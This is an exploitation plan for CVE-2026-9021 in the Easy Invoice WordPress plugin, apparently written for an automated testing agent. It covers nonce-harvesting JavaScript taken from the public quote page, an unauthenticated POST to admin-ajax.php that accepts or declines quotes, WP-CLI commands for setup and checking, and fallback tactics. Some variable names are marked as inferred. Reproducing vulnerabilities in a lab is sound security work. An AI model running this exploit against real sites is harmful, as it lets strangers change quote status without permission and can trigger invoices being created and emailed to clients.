Exploitation Research Plan - CVE-2026-9021

1. Vulnerability Summary

The Easy Invoice plugin (versions <= 2.1.19) is vulnerable to Missing Authorization in its AJAX quote management functionality. The plugin registers the easy_invoice_accept_quote and easy_invoice_decline_quote actions via wp_ajax_nopriv_ hooks, making them accessible to unauthenticated users.

While the handlers implement a nonce check, the nonce is rendered directly into the public single-quote view template. Furthermore, the check to ensure a quote belongs to the requesting client is a Pro-only feature (easy_invoice_pro_restrict_quote_to_client) that is disabled by default. Consequently, any user who can view a quote's public page can harvest the nonce and trigger the acceptance or decline of that quote, potentially triggering automatic invoice creation and emailing.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Actions: easy_invoice_accept_quote and easy_invoice_decline_quote
• Authentication: Unauthenticated (via wp_ajax_nopriv_)
• Payload Parameters:
  • action: easy_invoice_accept_quote (or easy_invoice_decline_quote)
  • quote_id: The ID of the target quote.
  • nonce: The quote-specific nonce extracted from the quote page.
• Preconditions:
  • At least one quote must be "Published" and accessible via a public URL.
  • The Pro setting easy_invoice_pro_restrict_quote_to_client must be disabled (default).

3. Code Flow

1. Registration: The plugin registers hooks in a constructor or init hook:

   add_action( 'wp_ajax_easy_invoice_accept_quote', 'easy_invoice_accept_quote_callback' );
   add_action( 'wp_ajax_nopriv_easy_invoice_accept_quote', 'easy_invoice_accept_quote_callback' );
   

2. Exposure: When a single quote is viewed, the plugin uses wp_localize_script to pass data to the frontend. This includes a nonce generated with wp_create_nonce( 'easy_invoice_quote_' . $quote_id ) (inferred action string).
3. Execution: The easy_invoice_accept_quote_callback function:
   • Retrieves quote_id and nonce from $_POST.
   • Verifies the nonce: check_ajax_referer( 'easy_invoice_quote_' . $quote_id, 'nonce' ).
   • Checks the Pro setting easy_invoice_pro_restrict_quote_to_client. If false, it skips ownership validation.
   • Updates the quote status to 'accepted'.
   • If configured, calls the invoice generation routine.

4. Nonce Acquisition Strategy

The nonce is localized in the quote's public view. We will use the browser_eval tool to extract it.

1. Identify the Quote URL: Navigate to the public URL of a published quote.
2. Identify JS Variable: The plugin typically localizes parameters into an object like easy_invoice_params or ei_ajax_object.
3. Extraction:
   • Use browser_navigate to go to the quote page.
   • Use browser_eval to retrieve the nonce.
   • Target Variable (Inferred): window.easy_invoice_params?.nonce or window.easy_invoice_vars?.accept_nonce.
     Self-Correction: If the variable name is unknown, inspect the page source for wp_localize_script output using browser_eval("document.documentElement.innerHTML.match(/var\\s+(\\w+)\\s*=\\s*{[^}]+nonce/)[1]").

5. Exploitation Strategy

This attack uses the http_request tool to simulate the AJAX call.

Step 1: Extract Nonce

Navigate to the quote and run:
browser_eval("easy_invoice_params.nonce") (Verify variable name in source first).

Step 2: Trigger Status Change

Send a POST request to admin-ajax.php.

Request:

• Method: POST
• URL: http://[target]/wp-admin/admin-ajax.php
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  action=easy_invoice_accept_quote&quote_id=[TARGET_ID]&nonce=[EXTRACTED_NONCE]
  

Step 3: Verify Success

The response should return a JSON success message (e.g., {"success":true}).

6. Test Data Setup

1. Enable Plugin: Ensure easy-invoice is active.
2. Create a Quote: Use WP-CLI to create a "Quote" post type (likely easy_invoice_quote).

   # Create a test quote
   QUOTE_ID=$(wp post create --post_type=easy_invoice_quote --post_title="Test Quote" --post_status=publish --porcelain)
   # Set any required meta (e.g., total amount) if the plugin requires it for conversion
   wp post generate --count=1 --post_type=easy_invoice_quote
   

3. Configure Settings: Ensure the "Restrict Quote to Client" option is disabled.

   wp option update easy_invoice_pro_restrict_quote_to_client 0
   

7. Expected Results

• The AJAX call returns 200 OK with a success indicator.
• The status of the Quote (post ID [TARGET_ID]) changes from its original state to accepted.
• If "Auto-convert to Invoice" is enabled in settings, a new post of type easy_invoice (Invoice) is created.

8. Verification Steps

After running the exploit, use WP-CLI to verify the state change:

1. Check Quote Status:

   wp post get [QUOTE_ID] --field=post_status
   # Or check post meta if status is stored there
   wp post meta get [QUOTE_ID] _easy_invoice_quote_status
   

2. Check for Created Invoices:

   wp post list --post_type=easy_invoice --orderby=post_date --order=DESC --limit=1
   

9. Alternative Approaches

If easy_invoice_accept_quote fails or is blocked, try the easy_invoice_decline_quote action using the same logic.

If the nonce is not in a JS variable, check for a hidden input field in the quote template:
browser_eval("document.querySelector('input[name=\"ei_nonce\"]')?.value")